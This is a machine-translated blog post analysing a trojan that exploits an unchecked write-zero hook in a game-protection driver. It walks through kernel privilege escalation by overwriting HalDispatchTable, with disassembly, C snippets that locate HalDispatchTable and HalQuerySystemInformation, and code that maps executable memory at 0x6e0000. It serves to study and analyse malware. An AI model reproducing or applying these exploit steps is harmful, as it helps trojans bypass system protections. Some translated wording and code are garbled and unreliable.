In the previous article, we talked about the malicious sample bypassing the driver firewall mechanism. Next we will explain how the sample uses this Driver Vulnerability to escalate kernel privileges. Please make an axe to the wrong part.
To prevent Trojan viruses, most Internet cafes have installed system restoration software to intercept unknown drivers by obtaining the R0 permission first. In this way, Trojans that have been restored cannot obtain the 0-ring permission, of course, it cannot confront the disk restoration driver running in the 0-ring environment, but the active defense will not intercept the normal loading of the game protection driver. If this is the same, it is estimated that no one is playing in this Internet cafe.
At present, a considerable number of resumable trojan programs use game-protected drive vulnerabilities that can be normally loaded to escalate permissions and execute kernel code to combat disk restoration.
Some time ago, a friend gave me a sample and analyzed it. This sample is used by a large game manufacturer in China to escalate power to execute the kernel code, bypass the anti-DDoS pro, and load the restored driver.
This driver is ignored by modifying the SSDT and HOOK ZwOpenProcess functions.
The following are the reasons for the handling of the ZwOpenProcess function and the vulnerability of the HOOK:
NTSTATUS _ stdcall Hook_ZwOpenProcess (PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId ). text: 00010B7A Hook_ZwOpenProcess proc near; data xref: sub_10BDE + 36o. text: 00010B7A. text: 00010B7A ProcessHandle = dword ptr 8. text: 00010B7A DesiredAccess = dword ptr 0Ch. text: 00010B7A ObjectAttributes = dword ptr 10h. text: 00010B7A ClientId = dword ptr 14h. tex T: 00010B7A. text: 00010B7A push ebp. text: 00010B7B mov ebp, esp. text: 00010B7D push edi. text: 00010B7E call PsGetCurrentProcessId. text: 00010B83 mov edi, [ebp + ClientId]. text: 00010B86 cmp eax, [edi]. text: 00010B88 jz short loc_10BC8.text: 00010B8A push ebx. text: 00010B8B push esi. text: 00010B8C mov esi, offset SpinLock. text: 00010B91 mov ecx, esi; SpinLock. text: 00010B93 call ds: KfAcquireSpinLock. text: 00010B9 9 push 0. text: 00010B9B push dword ptr [edi]. text: 00010B9D mov bl, al. text: 00010B9F push offset dword_10D8C.text: 00010BA4 call sub_include.text: 00010BA9 mov dl, bl; NewIrql. text: 00010BAB mov ecx, esi; SpinLock. text: 00010BAD mov [ebp + ClientId], eax. text: 00010BB0 call ds: KfReleaseSpinLock. text: 00010BB6 cmp [ebp + ClientId], 0. text: 00010BBA pop esi. text: 00010BBB pop ebx. text: 00010BBC jz short loc_10BC8. Text: 00010BBE mov eax, [ebp + ProcessHandle]. text: 00010BC1 and [ebp + DesiredAccess], 0FFFFFFC7h. text: 00010BC5 and dword ptr [eax], 0; if the process is protected,; ProcessHandle clears 0; then the actual ZwOpenProcess called by the system below will fail .; However, the system does not check whether the input address is greater than 0x80000000. This vulnerability causes any kernel address to write 0. text: 00010BC8 loc_10BC8:; code xref :,. text: 00010BC8; Hook_ZwOpenProcess + 42j. text: 00010BC8 push edi; _ DWORD. text: 00010BC9 push [ebp + ObjectAttributes]; _ DWORD. text: 00010BCC push [ebp + DesiredAccess]; _ DWORD. text: 00010BCF push [ebp + ProcessHandle]; _ DWORD. text: 00010BD2 call Sys_ZwOpenProcess.text: 00010BD8 pop edi. text: 00010BD9 pop ebp. text: 000101_retn 10h. text: 000101_hook_zwopenprocess endp
It can be easily seen that the vulnerability is zero for any kernel address. The following describes the exploitation of this vulnerability, which is most commonly used through HalDispatchTable.
Possible causes:
When you call the ZwQueryIntervalProfile function, the kernel KeQueryIntervalProfile will be called. HalQuerySystemInformation will be called in the KeQueryIntervalProfile function, for example:
The off_8054683C address stores the HalDispatchTable structure.
View the data of 0 x 8054683C in the current Virtual Machine in WINDBG:
The HalQuerySystemInformation address is in the red box.
By clearing the HalDispatchTable address-2 and HalDispatchTable address + 4 bytes of 3 to 0, you can get the address of a user layer. On my VM, the address is 0 × 6e0000, for example:
In this way, when your program calls the ZwQueryIntervalProfile function, it can jump to 0x6e0000 address for execution.
The following three conditions are required:
1. Get the HalDispatchTable address.
2. Get the address of HalQuerySystemInformation.
3. Apply for the HalQuerySystemInformation address & 0xff0000 as the transfer station and jump to the function that actually needs to be executed.
1st conditions:
Obtain the address of the local kernel module HalDispatchTable:
You can use LoadLibraryExA to load the ntkrnlpa.exe module to your own process. Pay attention to the 3rd parameters of the LoadLibraryExA function and obtain the address of the HalDispatchTable export function:
HMODULE hMode = LoadLibraryExA(“ntkrnlpa.exe”, NULL, DONT_RESOLVE_DLL_REFERENCES);if (NULL != hMode){DWORD dwHalDispatchTable = (DWORD)GetProcAddress(hMode, "HalDispatchTable");if (0 != dwHalDispatchTable){dwHalDispatchTable -= (DWORD)hMode;dwHalDispatchTable += 0x804D8000;dwHalDispatchTable += 4;}}
2nd conditions:
Use LoadLibraryExA to load the hal. dll module to its own process and obtain the export function HalInitSystem. The HalInitSystem function initializes HalDispatchTable.
Search for the HalInitSystem function by using the signature, obtain the address of the HalQuerySystemInformation function, get the offset in the module, and add hal. dll offset in the system, hal. the dll offset in the system can be obtained through the ZwQuerySystemInformation enumeration.
HMODULE hMod = LoadLibraryExA ("hal. dll", NULL, DONT_RESOLVE_DLL_REFERENCES); if (NULL! = HMod) {DWORD dwAddr = 0; BYTE * lpAddr = (BYTE *) GetProcAddress (hMod, "HalInitSystem"); BYTE sz [] = {0xc7, 0x40, 0x4}; for (int I = 0; I <0x500; I ++) // search signature {if (0 = memcmp (& lpAddr [I], sz, 3) {dwAddr = I + (DWORD) lpAddr + 3; break ;}} dwAddr = * (DWORD *) dwAddr; FreeLibrary (hMod ); DWORD dwBase = GetHalBase (); if (0! = DwBase) {dwAddr + = dwBase; dwAddr-= (DWORD) hMod; dwAddr & = 0xff0000 ;}}
3rd conditions:
Use the first parameter of the VirtualAlloc function to set the address space to be applied. The Code is as follows:
MEMORY_BASIC_INFORMATION em = {0}; VirtualQuery (void *) dwHalDispatchTableAddr, & em, sizeof (MEMORY_BASIC_INFORMATION); if (MEM_MAPPED = em. type) {UnmapViewOfFile (em. allocationBase); // if this address is occupied, release it first .} BYTE * lpJmpCode = (BYTE *) VirtualAlloc (void *) 0x6e0000, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // apply for memory for read/write execution attributes
In the lower part of windbg, after ZwQueryIntervalProfile is called, we can see the location where the link is disconnected.
The data of 0 x 8054683c has been changed to 0x6e0000.
F11 follow-up:
The code for Elevation of Privilege is started:
It is a function that can jump back normally after executing the elevation code.
Get the KTHREAD structure address, get KTHREAD. previusmode, and change KTHREAD. previusmode to kernel mode. In this way, the permission is in conflict with the disk restoration driver.
At the end of the article, there's nothing left. Join hanhaiyuan, grow up with us, and do some challenging and interesting things with us.
-EOF
By CString of code audit labs of vulnhunt.com
Http://blog.vulnhunt.com/index.php/2013/12/19/kernel_exploit_learn_analysis/